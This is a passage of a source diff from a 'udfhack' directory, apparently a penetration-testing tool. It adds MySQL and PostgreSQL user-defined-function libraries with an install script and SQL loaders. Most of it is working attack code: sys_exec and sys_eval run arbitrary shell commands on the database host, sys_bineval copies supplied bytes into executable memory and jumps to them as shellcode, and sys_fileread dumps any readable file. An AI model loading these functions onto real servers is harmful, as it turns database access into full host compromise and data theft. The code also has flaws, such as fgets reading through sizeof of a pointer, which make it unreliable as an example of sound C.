#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
||||
} else {
|
||||
result[outlen-1] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
35
extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
35
extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||
DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
16
extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile
Normal file
16
extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile
Normal file
@@ -0,0 +1,16 @@
|
||||
LIBDIR=/tmp
|
||||
|
||||
8.4:
|
||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.3:
|
||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.2:
|
||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
59
extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh
Executable file
59
extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh
Executable file
@@ -0,0 +1,59 @@
|
||||
#!/bin/bash
|
||||
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
# web: http://bernardodamele.blogspot.com/
|
||||
# email: bernardo.damele@gmail.com
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
USER="postgres"
|
||||
PORT="5434"
|
||||
VERSION="8.4"
|
||||
#PORT="5433"
|
||||
#VERSION="8.3"
|
||||
#PORT="5432"
|
||||
#VERSION="8.2"
|
||||
|
||||
echo "Compiling the PostgreSQL UDF"
|
||||
make ${VERSION}
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need postgresql-server development software installed"
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
|
||||
if test "${VERSION}" == "8.2"; then
|
||||
echo "apt-get install postgresql-server-dev-8.2"
|
||||
elif test "${VERSION}" == "8.3"; then
|
||||
echo "apt-get install postgresql-server-dev-8.3"
|
||||
elif test "${VERSION}" == "8.4"; then
|
||||
echo "apt-get install postgresql-server-dev-8.4"
|
||||
fi
|
||||
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
||||
|
||||
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF installed successfully"
|
||||
fi
|
||||
@@ -0,0 +1,277 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define _USE_32BIT_TIME_T
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
char *text_ptr_to_char_ptr(text *arg)
|
||||
{
|
||||
char *retVal;
|
||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
||||
retVal = (char *)malloc(arg_size + 1);
|
||||
|
||||
memcpy(retVal, VARDATA(arg), arg_size);
|
||||
retVal[arg_size] = '\0';
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
text *chr_ptr_to_text_ptr(char *arg)
|
||||
{
|
||||
text *retVal;
|
||||
|
||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
||||
#else
|
||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command execution: %s", command);
|
||||
*/
|
||||
|
||||
result = system(command);
|
||||
free(command);
|
||||
|
||||
PG_FREE_IF_COPY(argv0, 0);
|
||||
PG_RETURN_INT32(result);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_eval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
int32 outlen, linelen;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (*result) {
|
||||
result[outlen-1] = 0x00;
|
||||
}
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#undef fopen
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
char *result;
|
||||
char *buffer;
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
filename = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
{
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
fseek(file, 0, SEEK_END);
|
||||
len = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
|
||||
buffer=(char *)malloc(len + 1);
|
||||
if (!buffer)
|
||||
{
|
||||
fclose(file);
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
|
||||
fread(buffer, len, 1, file);
|
||||
fclose(file);
|
||||
|
||||
result = (char *)malloc(2*len + 1);
|
||||
for (i=0, j=0; i<len; i++)
|
||||
{
|
||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
||||
result[j++] = table[ buffer[i] & 0x0f];
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
free(filename);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
